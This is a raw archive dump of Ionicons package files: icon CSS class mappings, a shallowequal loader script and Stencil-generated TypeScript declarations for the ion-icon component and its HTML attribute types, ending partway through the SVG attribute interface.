.ion-md-outlet:before { content: "\f33d"; }
.ion-md-paper:before { content: "\f33f"; }
.ion-md-paper-plane:before { content: "\f33e"; }
.ion-md-partly-sunny:before { content: "\f340"; }
.ion-md-pause:before { content: "\f341"; }
.ion-md-paw:before { content: "\f342"; }
.ion-md-people:before { content: "\f343"; }
.ion-md-person:before { content: "\f345"; }
.ion-md-person-add:before { content: "\f344"; }
.ion-md-phone-landscape:before { content: "\f346"; }
.ion-md-phone-portrait:before { content: "\f347"; }
.ion-md-photos:before { content: "\f348"; }
.ion-md-pie:before { content: "\f349"; }
.ion-md-pin:before { content: "\f34a"; }
.ion-md-pint:before { content: "\f34b"; }
.ion-md-pizza:before { content: "\f354"; }
.ion-md-planet:before { content: "\f356"; }
.ion-md-play:before { content: "\f357"; }
.ion-md-play-circle:before { content: "\f174"; }
.ion-md-podium:before { content: "\f358"; }
.ion-md-power:before { content: "\f359"; }
.ion-md-pricetag:before { content: "\f35a"; }
.ion-md-pricetags:before { content: "\f35b"; }
.ion-md-print:before { content: "\f35c"; }
.ion-md-pulse:before { content: "\f35d"; }
.ion-md-qr-scanner:before { content: "\f35e"; }
.ion-md-quote:before { content: "\f35f"; }
.ion-md-radio:before { content: "\f362"; }
.ion-md-radio-button-off:before { content: "\f360"; }
.ion-md-radio-button-on:before { content: "\f361"; }
.ion-md-rainy:before { content: "\f363"; }
.ion-md-recording:before { content: "\f364"; }
.ion-md-redo:before { content: "\f365"; }
.ion-md-refresh:before { content: "\f366"; }
.ion-md-refresh-circle:before { content: "\f228"; }
.ion-md-remove:before { content: "\f368"; }
.ion-md-remove-circle:before { content: "\f367"; }
.ion-md-remove-circle-outline:before { content: "\f176"; }
.ion-md-reorder:before { content: "\f369"; }
.ion-md-repeat:before { content: "\f36a"; }
.ion-md-resize:before { content: "\f36b"; }
.ion-md-restaurant:before { content: "\f36c"; }
.ion-md-return-left:before { content: "\f36d"; }
.ion-md-return-right:before { content: "\f36e"; }
.ion-md-reverse-camera:before { content: "\f36f"; }
.ion-md-rewind:before { content: "\f370"; }
.ion-md-ribbon:before { content: "\f371"; }
.ion-md-rocket:before { content: "\f179"; }
.ion-md-rose:before { content: "\f372"; }
.ion-md-sad:before { content: "\f373"; }
.ion-md-save:before { content: "\f1a9"; }
.ion-md-school:before { content: "\f374"; }
.ion-md-search:before { content: "\f375"; }
.ion-md-send:before { content: "\f376"; }
.ion-md-settings:before { content: "\f377"; }
.ion-md-share:before { content: "\f379"; }
.ion-md-share-alt:before { content: "\f378"; }
.ion-md-shirt:before { content: "\f37a"; }
.ion-md-shuffle:before { content: "\f37b"; }
.ion-md-skip-backward:before { content: "\f37c"; }
.ion-md-skip-forward:before { content: "\f37d"; }
.ion-md-snow:before { content: "\f37e"; }
.ion-md-speedometer:before { content: "\f37f"; }
.ion-md-square:before { content: "\f381"; }
.ion-md-square-outline:before { content: "\f380"; }
.ion-md-star:before { content: "\f384"; }
.ion-md-star-half:before { content: "\f382"; }
.ion-md-star-outline:before { content: "\f383"; }
.ion-md-stats:before { content: "\f385"; }
.ion-md-stopwatch:before { content: "\f386"; }
.ion-md-subway:before { content: "\f387"; }
.ion-md-sunny:before { content: "\f388"; }
.ion-md-swap:before { content: "\f389"; }
.ion-md-switch:before { content: "\f38a"; }
.ion-md-sync:before { content: "\f38b"; }
.ion-md-tablet-landscape:before { content: "\f38c"; }
.ion-md-tablet-portrait:before { content: "\f38d"; }
.ion-md-tennisball:before { content: "\f38e"; }
.ion-md-text:before { content: "\f38f"; }
.ion-md-thermometer:before { content: "\f390"; }
.ion-md-thumbs-down:before { content: "\f391"; }
.ion-md-thumbs-up:before { content: "\f392"; }
.ion-md-thunderstorm:before { content: "\f393"; }
.ion-md-time:before { content: "\f394"; }
.ion-md-timer:before { content: "\f395"; }
.ion-md-today:before { content: "\f17d"; }
.ion-md-train:before { content: "\f396"; }
.ion-md-transgender:before { content: "\f397"; }
.ion-md-trash:before { content: "\f398"; }
.ion-md-trending-down:before { content: "\f399"; }
.ion-md-trending-up:before { content: "\f39a"; }
.ion-md-trophy:before { content: "\f39b"; }
.ion-md-tv:before { content: "\f17f"; }
.ion-md-umbrella:before { content: "\f39c"; }
.ion-md-undo:before { content: "\f39d"; }
.ion-md-unlock:before { content: "\f39e"; }
.ion-md-videocam:before { content: "\f39f"; }
.ion-md-volume-high:before { content: "\f123"; }
.ion-md-volume-low:before { content: "\f131"; }
.ion-md-volume-mute:before { content: "\f3a1"; }
.ion-md-volume-off:before { content: "\f3a2"; }
.ion-md-walk:before { content: "\f3a4"; }
.ion-md-wallet:before { content: "\f18f"; }
.ion-md-warning:before { content: "\f3a5"; }
.ion-md-watch:before { content: "\f3a6"; }
.ion-md-water:before { content: "\f3a7"; }
.ion-md-wifi:before { content: "\f3a8"; }
.ion-md-wine:before { content: "\f3a9"; }
.ion-md-woman:before { content: "\f3aa"; }index.js000064400000000312151701353760006215 0ustar00
'use strict'

if (process.env.NODE_ENV === 'production') {
  module.exports = require('./shallowequal.cjs.production.min.js')
} else {
  module.exports = require('./shallowequal.cjs.development.js')
}
types/components.d.ts000064400000006403151701353760010702 0ustar00/* tslint:disable */
/**
 * This is an autogenerated file created by the Stencil compiler.
 * It contains typing information for all components that exist in this project.
 */


import './stencil.core';




export namespace Components {

  interface IonIcon {
    /**
    * Specifies the label to use for accessibility. Defaults to the icon name.
    */
    'ariaLabel'?: string;
    /**
    * The color to use for the background of the item.
    */
    'color'?: string;
    /**
    * A combination of both `name` and `src`. If a `src` url is detected it will set the `src` property. Otherwise it assumes it's a built-in named SVG and set the `name` property.
    */
    'icon'?: string;
    /**
    * Specifies which icon to use on `ios` mode.
    */
    'ios'?: string;
    /**
    * If enabled, ion-icon will be loaded lazily when it's visible in the viewport. Default, `false`.
    */
    'lazy': boolean;
    /**
    * Specifies which icon to use on `md` mode.
    */
    'md'?: string;
    /**
    * The mode determines which platform styles to use. Possible values are: `"ios"` or `"md"`.
    */
    'mode'?: 'ios' | 'md';
    /**
    * Specifies which icon to use from the built-in set of icons.
    */
    'name'?: string;
    /**
    * The size of the icon. Available options are: `"small"` and `"large"`.
    */
    'size'?: string;
    /**
    * Specifies the exact `src` of an SVG file to use.
    */
    'src'?: string;
  }
  interface IonIconAttributes extends StencilHTMLAttributes {
    /**
    * Specifies the label to use for accessibility. Defaults to the icon name.
    */
    'ariaLabel'?: string;
    /**
    * The color to use for the background of the item.
    */
    'color'?: string;
    /**
    * A combination of both `name` and `src`. If a `src` url is detected it will set the `src` property. Otherwise it assumes it's a built-in named SVG and set the `name` property.
    */
    'icon'?: string;
    /**
    * Specifies which icon to use on `ios` mode.
    */
    'ios'?: string;
    /**
    * If enabled, ion-icon will be loaded lazily when it's visible in the viewport. Default, `false`.
    */
    'lazy'?: boolean;
    /**
    * Specifies which icon to use on `md` mode.
    */
    'md'?: string;
    /**
    * The mode determines which platform styles to use. Possible values are: `"ios"` or `"md"`.
    */
    'mode'?: 'ios' | 'md';
    /**
    * Specifies which icon to use from the built-in set of icons.
    */
    'name'?: string;
    /**
    * The size of the icon. Available options are: `"small"` and `"large"`.
    */
    'size'?: string;
    /**
    * Specifies the exact `src` of an SVG file to use.
    */
    'src'?: string;
  }
}

declare global {
  interface StencilElementInterfaces {
    'IonIcon': Components.IonIcon;
  }

  interface StencilIntrinsicElements {
    'ion-icon': Components.IonIconAttributes;
  }


  interface HTMLIonIconElement extends Components.IonIcon, HTMLStencilElement {}
  var HTMLIonIconElement: {
    prototype: HTMLIonIconElement;
    new (): HTMLIonIconElement;
  };

  interface HTMLElementTagNameMap {
    'ion-icon': HTMLIonIconElement
  }

  interface ElementTagNameMap {
    'ion-icon': HTMLIonIconElement;
  }


}
types/icon/utils.d.ts000064400000000434151701353760010603 0ustar00export declare function getName(name: string | undefined, mode: string | undefined, ios: string | undefined, md: string | undefined): string | null;
export declare function getSrc(src: string | undefined): string | null;
export declare function isValid(elm: HTMLElement): boolean;
types/icon/icon.d.ts000064400000003345151701353760010377 0ustar00import '../stencil.core';
export declare class Icon {
    private io?;
    el: HTMLElement;
    private svgContent?;
    private isVisible;
    isServer: boolean;
    resourcesUrl: string;
    doc: Document;
    win: any;
    /**
     * The color to use for the background of the item.
     */
    color?: string;
    /**
     * The mode determines which platform styles to use.
     * Possible values are: `"ios"` or `"md"`.
     */
    mode?: 'ios' | 'md';
    /**
     * Specifies the label to use for accessibility. Defaults to the icon name.
     */
    ariaLabel?: string;
    /**
     * Specifies which icon to use on `ios` mode.
     */
    ios?: string;
    /**
     * Specifies which icon to use on `md` mode.
     */
    md?: string;
    /**
     * Specifies which icon to use from the built-in set of icons.
     */
    name?: string;
    /**
     * Specifies the exact `src` of an SVG file to use.
     */
    src?: string;
    /**
     * A combination of both `name` and `src`. If a `src` url is detected
     * it will set the `src` property. Otherwise it assumes it's a built-in named
     * SVG and set the `name` property.
     */
    icon?: string;
    /**
     * The size of the icon.
     * Available options are: `"small"` and `"large"`.
     */
    size?: string;
    /**
     * If enabled, ion-icon will be loaded lazily when it's visible in the viewport.
     * Default, `false`.
     */
    lazy: boolean;
    componentWillLoad(): void;
    componentDidUnload(): void;
    private waitUntilVisible;
    loadIcon(): void;
    getUrl(): string | null;
    private getNamedUrl;
    hostData(): {
        'role': string;
        class: {};
    };
    render(): JSX.Element;
}
types/stencil.core.d.ts000064400000112014151701353760011101 0ustar00/**
 * This file gets copied to all distributions of stencil component collections.
 * - no imports
 */

export interface ComponentWillLoad {
  /**
   * The component is about to load and it has not
   * rendered yet.
   *
   * This is the best place to make any data updates
   * before the first render.
   *
   * componentWillLoad will only be called once.
   */
  componentWillLoad: () => Promise<void> | void;
}

export interface ComponentDidLoad {
  /**
   * The component has loaded and has already rendered.
   *
   * Updating data in this method will cause the
   * component to re-render.
   *
   * componentDidLoad will only be called once.
   */
  componentDidLoad: () => void;
}

export interface ComponentWillUpdate {
  /**
   * The component is about to update and re-render.
   *
   * Called multiple times throughout the life of
   * the component as it updates.
   *
   * componentWillUpdate is not called on the first render.
   */
  componentWillUpdate: () => Promise<void> | void;
}

export interface ComponentDidUpdate {
  /**
   * The component has just re-rendered.
   *
   * Called multiple times throughout the life of
   * the component as it updates.
   *
   * componentWillUpdate is not called on the
   * first render.
   */
  componentDidUpdate: () => void;
}

export interface ComponentDidUnload {
  /**
   * The component did unload and the element
   * will be destroyed.
   */
  componentDidUnload: () => void;
}

export interface ComponentInstance {
  /**
   * The component is about to load and it has not
   * rendered yet.
   *
   * This is the best place to make any data updates
   * before the first render.
   *
   * componentWillLoad will only be called once.
   */
  componentWillLoad?: () => Promise<void> | void;

  /**
   * The component has loaded and has already rendered.
   *
   * Updating data in this method will cause the
   * component to re-render.
   *
   * componentDidLoad will only be called once.
   */
  componentDidLoad?: () => void;

  /**
   * The component is about to update and re-render.
   *
   * Called multiple times throughout the life of
   * the component as it updates.
   *
   * componentWillUpdate is not called on the first render.
   */
  componentWillUpdate?: () => Promise<void> | void;

  /**
   * The component has just re-rendered.
   *
   * Called multiple times throughout the life of
   * the component as it updates.
   *
   * componentWillUpdate is not called on the
   * first render.
   */
  componentDidUpdate?: () => void;

  /**
   * The component did unload and the element
   * will be destroyed.
   */
  componentDidUnload?: () => void;

  render?: () => any;

  /**
   * Used to dynamically set host element attributes.
   * Should be placed directly above render()
   */
  hostData?: () => {
    class?: {[className: string]: boolean};
    style?: any;
    [attrName: string]: any;
  };

  [memberName: string]: any;
}


/**
 * General types important to applications using stencil built components
 */
export interface EventEmitter<T= any> {
  emit: (data?: T) => void;
}

export interface EventListenerEnable {
  (instance: any, eventName: string, enabled: boolean, attachTo?: string|Element, passive?: boolean): void;
}

export interface QueueApi {
  tick: (cb: RafCallback) => void;
  read: (cb: RafCallback) => void;
  write: (cb: RafCallback) => void;
  clear?: () => void;
  flush?: (cb?: () => void) => void;
}

export interface RafCallback {
  (timeStamp: number): void;
}

/**
 * This file gets copied to all distributions of stencil component collections.
 * - no imports
 */

declare global {
  interface HTMLStencilElement extends HTMLElement {
    componentOnReady(): Promise<this>;
    forceUpdate(): void;
  }
  interface StencilHTMLAttributes extends JSXElements.HTMLAttributes {}
  interface StencilIntrinsicElements extends JSXElements.DefaultIntrinsicElements {}
  interface StencilElementInterfaces {}
  interface StencilGlobalHTMLAttributes {}
}

export namespace JSXElements {
  export interface DefaultIntrinsicElements {
    // Stencil elements
    slot: JSXElements.SlotAttributes;

    // HTML
    a: JSXElements.AnchorHTMLAttributes<HTMLAnchorElement>;
    abbr: JSXElements.HTMLAttributes;
    address: JSXElements.HTMLAttributes;
    area: JSXElements.AreaHTMLAttributes<HTMLAreaElement>;
    article: JSXElements.HTMLAttributes;
    aside: JSXElements.HTMLAttributes;
    audio: JSXElements.AudioHTMLAttributes<HTMLAudioElement>;
    b: JSXElements.HTMLAttributes;
    base: JSXElements.BaseHTMLAttributes<HTMLBaseElement>;
    bdi: JSXElements.HTMLAttributes;
    bdo: JSXElements.HTMLAttributes;
    big: JSXElements.HTMLAttributes;
    blockquote: JSXElements.BlockquoteHTMLAttributes<HTMLQuoteElement>;
    body: JSXElements.HTMLAttributes<HTMLBodyElement>;
    br: JSXElements.HTMLAttributes<HTMLBRElement>;
    button: JSXElements.ButtonHTMLAttributes<HTMLButtonElement>;
    canvas: JSXElements.CanvasHTMLAttributes<HTMLCanvasElement>;
    caption: JSXElements.HTMLAttributes<HTMLTableCaptionElement>;
    cite: JSXElements.HTMLAttributes;
    code: JSXElements.HTMLAttributes;
    col: JSXElements.ColHTMLAttributes<HTMLTableColElement>;
    colgroup: JSXElements.ColgroupHTMLAttributes<HTMLTableColElement>;
    data: JSXElements.HTMLAttributes<HTMLDataElement>;
    datalist: JSXElements.HTMLAttributes<HTMLDataListElement>;
    dd: JSXElements.HTMLAttributes;
    del: JSXElements.DelHTMLAttributes<HTMLModElement>;
    details: JSXElements.DetailsHTMLAttributes<HTMLElement>;
    dfn: JSXElements.HTMLAttributes;
    dialog: JSXElements.DialogHTMLAttributes<HTMLDialogElement>;
    div: JSXElements.HTMLAttributes<HTMLDivElement>;
    dl: JSXElements.HTMLAttributes<HTMLDListElement>;
    dt: JSXElements.HTMLAttributes;
    em: JSXElements.HTMLAttributes;
    embed: JSXElements.EmbedHTMLAttributes<HTMLEmbedElement>;
    fieldset: JSXElements.FieldsetHTMLAttributes<HTMLFieldSetElement>;
    figcaption: JSXElements.HTMLAttributes;
    figure: JSXElements.HTMLAttributes;
    footer: JSXElements.HTMLAttributes;
    form: JSXElements.FormHTMLAttributes<HTMLFormElement>;
    h1: JSXElements.HTMLAttributes<HTMLHeadingElement>;
    h2: JSXElements.HTMLAttributes<HTMLHeadingElement>;
    h3: JSXElements.HTMLAttributes<HTMLHeadingElement>;
    h4: JSXElements.HTMLAttributes<HTMLHeadingElement>;
    h5: JSXElements.HTMLAttributes<HTMLHeadingElement>;
    h6: JSXElements.HTMLAttributes<HTMLHeadingElement>;
    head: JSXElements.HTMLAttributes<HTMLHeadElement>;
    header: JSXElements.HTMLAttributes;
    hgroup: JSXElements.HTMLAttributes;
    hr: JSXElements.HTMLAttributes<HTMLHRElement>;
    html: JSXElements.HTMLAttributes<HTMLHtmlElement>;
    i: JSXElements.HTMLAttributes;
    iframe: JSXElements.IframeHTMLAttributes<HTMLIFrameElement>;
    img: JSXElements.ImgHTMLAttributes<HTMLImageElement>;
    input: JSXElements.InputHTMLAttributes<HTMLInputElement>;
    ins: JSXElements.InsHTMLAttributes<HTMLModElement>;
    kbd: JSXElements.HTMLAttributes;
    keygen: JSXElements.KeygenHTMLAttributes<HTMLElement>;
    label: JSXElements.LabelHTMLAttributes<HTMLLabelElement>;
    legend: JSXElements.HTMLAttributes<HTMLLegendElement>;
    li: JSXElements.LiHTMLAttributes<HTMLLIElement>;
    link: JSXElements.LinkHTMLAttributes<HTMLLinkElement>;
    main: JSXElements.HTMLAttributes;
    map: JSXElements.MapHTMLAttributes<HTMLMapElement>;
    mark: JSXElements.HTMLAttributes;
    menu: JSXElements.MenuHTMLAttributes<HTMLMenuElement>;
    menuitem: JSXElements.HTMLAttributes;
    meta: JSXElements.MetaHTMLAttributes<HTMLMetaElement>;
    meter: JSXElements.MeterHTMLAttributes<HTMLMeterElement>;
    nav: JSXElements.HTMLAttributes;
    noscript: JSXElements.HTMLAttributes;
    object: JSXElements.ObjectHTMLAttributes<HTMLObjectElement>;
    ol: JSXElements.OlHTMLAttributes<HTMLOListElement>;
    optgroup: JSXElements.OptgroupHTMLAttributes<HTMLOptGroupElement>;
    option: JSXElements.OptionHTMLAttributes<HTMLOptionElement>;
    output: JSXElements.OutputHTMLAttributes<HTMLOutputElement>;
    p: JSXElements.HTMLAttributes<HTMLParagraphElement>;
    param: JSXElements.ParamHTMLAttributes<HTMLParamElement>;
    picture: JSXElements.HTMLAttributes<HTMLPictureElement>;
    pre: JSXElements.HTMLAttributes<HTMLPreElement>;
    progress: JSXElements.ProgressHTMLAttributes<HTMLProgressElement>;
    q: JSXElements.QuoteHTMLAttributes<HTMLQuoteElement>;
    rp: JSXElements.HTMLAttributes;
    rt: JSXElements.HTMLAttributes;
    ruby: JSXElements.HTMLAttributes;
    s: JSXElements.HTMLAttributes;
    samp: JSXElements.HTMLAttributes;
    script: JSXElements.ScriptHTMLAttributes<HTMLScriptElement>;
    section: JSXElements.HTMLAttributes;
    select: JSXElements.SelectHTMLAttributes<HTMLSelectElement>;
    small: JSXElements.HTMLAttributes;
    source: JSXElements.SourceHTMLAttributes<HTMLSourceElement>;
    span: JSXElements.HTMLAttributes<HTMLSpanElement>;
    strong: JSXElements.HTMLAttributes;
    style: JSXElements.StyleHTMLAttributes<HTMLStyleElement>;
    sub: JSXElements.HTMLAttributes;
    summary: JSXElements.HTMLAttributes;
    sup: JSXElements.HTMLAttributes;
    table: JSXElements.TableHTMLAttributes<HTMLTableElement>;
    tbody: JSXElements.HTMLAttributes<HTMLTableSectionElement>;
    td: JSXElements.TdHTMLAttributes<HTMLTableDataCellElement>;
    textarea: JSXElements.TextareaHTMLAttributes<HTMLTextAreaElement>;
    tfoot: JSXElements.HTMLAttributes<HTMLTableSectionElement>;
    th: JSXElements.ThHTMLAttributes<HTMLTableHeaderCellElement>;
    thead: JSXElements.HTMLAttributes<HTMLTableSectionElement>;
    time: JSXElements.TimeHTMLAttributes<HTMLTimeElement>;
    title: JSXElements.HTMLAttributes<HTMLTitleElement>;
    tr: JSXElements.HTMLAttributes<HTMLTableRowElement>;
    track: JSXElements.TrackHTMLAttributes<HTMLTrackElement>;
    u: JSXElements.HTMLAttributes;
    ul: JSXElements.HTMLAttributes<HTMLUListElement>;
    'var': JSXElements.HTMLAttributes;
    video: JSXElements.VideoHTMLAttributes<HTMLVideoElement>;
    wbr: JSXElements.HTMLAttributes;
  }

  export interface SlotAttributes {
    name?: string;
    slot?: string;
  }

  export interface AnchorHTMLAttributes<T> extends HTMLAttributes<T> {
    download?: any;
    href?: string;
    hrefLang?: string;
    hreflang?: string;
    media?: string;
    rel?: string;
    target?: string;
  }

  export interface AudioHTMLAttributes<T> extends MediaHTMLAttributes<T> {}

  export interface AreaHTMLAttributes<T> extends HTMLAttributes<T> {
    alt?: string;
    coords?: string;
    download?: any;
    href?: string;
    hrefLang?: string;
    hreflang?: string;
    media?: string;
    rel?: string;
    shape?: string;
    target?: string;
  }

  export interface BaseHTMLAttributes<T> extends HTMLAttributes<T> {
    href?: string;
    target?: string;
  }

  export interface BlockquoteHTMLAttributes<T> extends HTMLAttributes<T> {
    cite?: string;
  }

  export interface ButtonHTMLAttributes<T> extends HTMLAttributes<T> {
    autoFocus?: boolean;
    disabled?: boolean;
    form?: string;
    formAction?: string;
    formaction?: string;
    formEncType?: string;
    formenctype?: string;
    formMethod?: string;
    formmethod?: string;
    formNoValidate?: boolean;
    formnovalidate?: boolean;
    formTarget?: string;
    formtarget?: string;
    name?: string;
    type?: string;
    value?: string | string[] | number;
  }

  export interface CanvasHTMLAttributes<T> extends HTMLAttributes<T> {
    height?: number | string;
    width?: number | string;
  }

  export interface ColHTMLAttributes<T> extends HTMLAttributes<T> {
    span?: number;
  }

  export interface ColgroupHTMLAttributes<T> extends HTMLAttributes<T> {
    span?: number;
  }

  export interface DetailsHTMLAttributes<T> extends HTMLAttributes<T> {
    open?: boolean;
  }

  export interface DelHTMLAttributes<T> extends HTMLAttributes<T> {
    cite?: string;
    dateTime?: string;
    datetime?: string;
  }

  export interface DialogHTMLAttributes<T> extends HTMLAttributes<T> {
    open?: boolean;
    returnValue?: string;
  }

  export interface EmbedHTMLAttributes<T> extends HTMLAttributes<T> {
    height?: number | string;
    src?: string;
    type?: string;
    width?: number | string;
  }

  export interface FieldsetHTMLAttributes<T> extends HTMLAttributes<T> {
    disabled?: boolean;
    form?: string;
    name?: string;
  }

  export interface FormHTMLAttributes<T> extends HTMLAttributes<T> {
    acceptCharset?: string;
    acceptcharset?: string;
    action?: string;
    autoComplete?: string;
    autocomplete?: string;
    encType?: string;
    enctype?: string;
    method?: string;
    name?: string;
    noValidate?: boolean;
    novalidate?: boolean | string;
    target?: string;
  }

  export interface HtmlHTMLAttributes<T> extends HTMLAttributes<T> {
    manifest?: string;
  }

  export interface IframeHTMLAttributes<T> extends HTMLAttributes<T> {
    allowFullScreen?: boolean;
    allowfullScreen?: string | boolean;
    allowTransparency?: boolean;
    allowtransparency?: string | boolean;
    frameBorder?: number | string;
    frameborder?: number | string;
    height?: number | string;
    marginHeight?: number;
    marginheight?: string | number;
    marginWidth?: number;
    marginwidth?: string | number;
    name?: string;
    sandbox?: string;
    scrolling?: string;
    seamless?: boolean;
    src?: string;
    srcDoc?: string;
    srcdoc?: string;
    width?: number | string;
  }

  export interface ImgHTMLAttributes<T> extends HTMLAttributes<T> {
    alt?: string;
    decoding?: 'async' | 'auto' | 'sync';
    height?: number | string;
    sizes?: string;
    src?: string;
    srcSet?: string;
    srcset?: string;
    useMap?: string;
    usemap?: string;
    width?: number | string;
  }

  export interface InsHTMLAttributes<T> extends HTMLAttributes<T> {
    cite?: string;
    dateTime?: string;
    datetime?: string;
  }

  export interface InputHTMLAttributes<T> extends HTMLAttributes<T> {
    accept?: string;
    alt?: string;
    autoComplete?: string;
    autocomplete?: string;
    autoFocus?: boolean;
    autofocus?: boolean | string;
    capture?: string; // https://www.w3.org/TR/html-media-capture/#the-capture-attribute
    checked?: boolean;
    crossOrigin?: string;
    crossorigin?: string;
    disabled?: boolean;
    form?: string;
    formAction?: string;
    formaction?: string;
    formEncType?: string;
    formenctype?: string;
    formMethod?: string;
    formmethod?: string;
    formNoValidate?: boolean;
    formnovalidate?: boolean;
    formTarget?: string;
    formtarget?: string;
    height?: number | string;
    list?: string;
    max?: number | string;
    maxLength?: number;
    maxlength?: number | string;
    min?: number | string;
    minLength?: number;
    minlength?: number | string;
    multiple?: boolean;
    name?: string;
    pattern?: string;
    placeholder?: string;
    readOnly?: boolean;
    readonly?: boolean | string;
    required?: boolean;
    size?: number;
    src?: string;
    step?: number | string;
    type?: string;
    value?: string | string[] | number;
    width?: number | string;
  }

  export interface KeygenHTMLAttributes<T> extends HTMLAttributes<T> {
    autoFocus?: boolean;
    autofocus?: boolean | string;
    challenge?: string;
    disabled?: boolean;
    form?: string;
    keyType?: string;
    keytype?: string;
    keyParams?: string;
    keyparams?: string;
    name?: string;
  }

  export interface LabelHTMLAttributes<T> extends HTMLAttributes<T> {
    form?: string;
    htmlFor?: string;
    htmlfor?: string;
  }

  export interface LiHTMLAttributes<T> extends HTMLAttributes<T> {
    value?: string | string[] | number;
  }

  export interface LinkHTMLAttributes<T> extends HTMLAttributes<T> {
    href?: string;
    hrefLang?: string;
    hreflang?: string;
    integrity?: string;
    media?: string;
    rel?: string;
    sizes?: string;
    type?: string;
  }

  export interface MapHTMLAttributes<T> extends HTMLAttributes<T> {
    name?: string;
  }

  export interface MenuHTMLAttributes<T> extends HTMLAttributes<T> {
    type?: string;
  }

  export interface MediaHTMLAttributes<T> extends HTMLAttributes<T> {
    autoPlay?: boolean;
    autoplay?: boolean | string;
    controls?: boolean;
    crossOrigin?: string;
    crossorigin?: string;
    loop?: boolean;
    mediaGroup?: string;
    mediagroup?: string;
    muted?: boolean;
    preload?: string;
    src?: string;
  }

  export interface MetaHTMLAttributes<T> extends HTMLAttributes<T> {
    charSet?: string;
    charset?: string;
    content?: string;
    httpEquiv?: string;
    httpequiv?: string;
    name?: string;
  }

  export interface MeterHTMLAttributes<T> extends HTMLAttributes<T> {
    form?: string;
    high?: number;
    low?: number;
    max?: number | string;
    min?: number | string;
    optimum?: number;
    value?: string | string[] | number;
  }

  export interface QuoteHTMLAttributes<T> extends HTMLAttributes<T> {
    cite?: string;
  }

  export interface ObjectHTMLAttributes<T> extends HTMLAttributes<T> {
    classID?: string;
    classid?: string;
    data?: string;
    form?: string;
    height?: number | string;
    name?: string;
    type?: string;
    useMap?: string;
    usemap?: string;
    width?: number | string;
    wmode?: string;
  }

  export interface OlHTMLAttributes<T> extends HTMLAttributes<T> {
    reversed?: boolean;
    start?: number;
  }

  export interface OptgroupHTMLAttributes<T> extends HTMLAttributes<T> {
    disabled?: boolean;
    label?: string;
  }

  export interface OptionHTMLAttributes<T> extends HTMLAttributes<T> {
    disabled?: boolean;
    label?: string;
    selected?: boolean;
    value?: string | string[] | number;
  }

  export interface OutputHTMLAttributes<T> extends HTMLAttributes<T> {
    form?: string;
    htmlFor?: string;
    htmlfor?: string;
    name?: string;
  }

  export interface ParamHTMLAttributes<T> extends HTMLAttributes<T> {
    name?: string;
    value?: string | string[] | number;
  }

  export interface ProgressHTMLAttributes<T> extends HTMLAttributes<T> {
    max?: number | string;
    value?: string | string[] | number;
  }

  export interface ScriptHTMLAttributes<T> extends HTMLAttributes<T> {
    async?: boolean;
    charSet?: string;
    charset?: string;
    crossOrigin?: string;
    crossorigin?: string;
    defer?: boolean;
    integrity?: string;
    nonce?: string;
    src?: string;
    type?: string;
  }

  export interface SelectHTMLAttributes<T> extends HTMLAttributes<T> {
    autoFocus?: boolean;
    disabled?: boolean;
    form?: string;
    multiple?: boolean;
    name?: string;
    required?: boolean;
    size?: number;
  }

  export interface SourceHTMLAttributes<T> extends HTMLAttributes<T> {
    media?: string;
    sizes?: string;
    src?: string;
    srcSet?: string;
    type?: string;
  }

  export interface StyleHTMLAttributes<T> extends HTMLAttributes<T> {
    media?: string;
    nonce?: string;
    scoped?: boolean;
    type?: string;
  }

  export interface TableHTMLAttributes<T> extends HTMLAttributes<T> {
    cellPadding?: number | string;
    cellpadding?: number | string;
    cellSpacing?: number | string;
    cellspacing?: number | string;
    summary?: string;
  }

  export interface TextareaHTMLAttributes<T> extends HTMLAttributes<T> {
    autoFocus?: boolean;
    autofocus?: boolean | string;
    cols?: number;
    disabled?: boolean;
    form?: string;
    maxLength?: number;
    maxlength?: number | string;
    minLength?: number;
    minlength?: number | string;
    name?: string;
    placeholder?: string;
    readOnly?: boolean;
    readonly?: boolean | string;
    required?: boolean;
    rows?: number;
    value?: string | string[] | number;
    wrap?: string;
  }

  export interface TdHTMLAttributes<T> extends HTMLAttributes<T> {
    colSpan?: number;
    headers?: string;
    rowSpan?: number;
  }

  export interface ThHTMLAttributes<T> extends HTMLAttributes<T> {
    colSpan?: number;
    headers?: string;
    rowSpan?: number;
    rowspan?: number | string;
    scope?: string;
  }

  export interface TimeHTMLAttributes<T> extends HTMLAttributes<T> {
    dateTime?: string;
  }

  export interface TrackHTMLAttributes<T> extends HTMLAttributes<T> {
    default?: boolean;
    kind?: string;
    label?: string;
    src?: string;
    srcLang?: string;
    srclang?: string;
  }

  export interface VideoHTMLAttributes<T> extends MediaHTMLAttributes<T> {
    height?: number | string;
    playsInline?: boolean;
    playsinline?: boolean | string;
    poster?: string;
    width?: number | string;
  }

  export interface HTMLAttributes<T = HTMLElement> extends StencilGlobalHTMLAttributes, DOMAttributes {
    // vdom specific
    innerHTML?: string;
    ref?: (elm?: T) => void;
    key?: string | number;

    // Standard HTML Attributes
    accessKey?: string;
    class?: string |  { [className: string]: boolean };
    contentEditable?: boolean | string;
    contenteditable?: boolean | string;
    contextMenu?: string;
    contextmenu?: string;
    dir?: string;
    draggable?: boolean;
    hidden?: boolean;
    id?: string;
    lang?: string;
    slot?: string;
    spellCheck?: boolean;
    spellcheck?: boolean | string;
    style?: { [key: string]: string };
    tabIndex?: number;
    tabindex?: number | string;
    title?: string;

    // Unknown
    inputMode?: string;
    inputmode?: string;
    is?: string;
    radioGroup?: string; // <command>, <menuitem>
    radiogroup?: string;

    // WAI-ARIA
    role?: string;

    // RDFa Attributes
    about?: string;
    datatype?: string;
    inlist?: any;
    prefix?: string;
    property?: string;
    resource?: string;
    typeof?: string;
    vocab?: string;

    // Non-standard Attributes
    autoCapitalize?: string;
    autocapitalize?: string;
    autoCorrect?: string;
    autocorrect?: string;
    autoSave?: string;
    autosave?: string;
    color?: string;
    itemProp?: string;
    itemprop?: string;
    itemScope?: boolean;
    itemscope?: boolean;
    itemType?: string;
    itemtype?: string;
    itemID?: string;
    itemid?: string;
    itemRef?: string;
    itemref?: string;
    results?: number;
    security?: string;
    unselectable?: boolean;
  }

  export interface SVGAttributes extends StencilGlobalHTMLAttributes, DOMAttributes {
    // Attributes which also defined in HTMLAttributes
    // See comment in SVGDOMPropertyConfig.js
    class?: string | { [className: string]: boolean };
    color?: string;
    height?: number | string;
    id?: string;
    lang?: string;
    max?: number | string;
    media?: string;
    method?: string;
    min?: number | string;
    name?: string;
    style?: { [key: string]: any; };
    target?: string;
    type?: string;
    width?: number | string;

    // Other HTML properties supported by SVG elements in browsers
    role?: string;
    tabIndex?: number;

    // SVG Specific attributes
    accentHeight?: number | string;
    accumulate?: 'none' | 'sum';
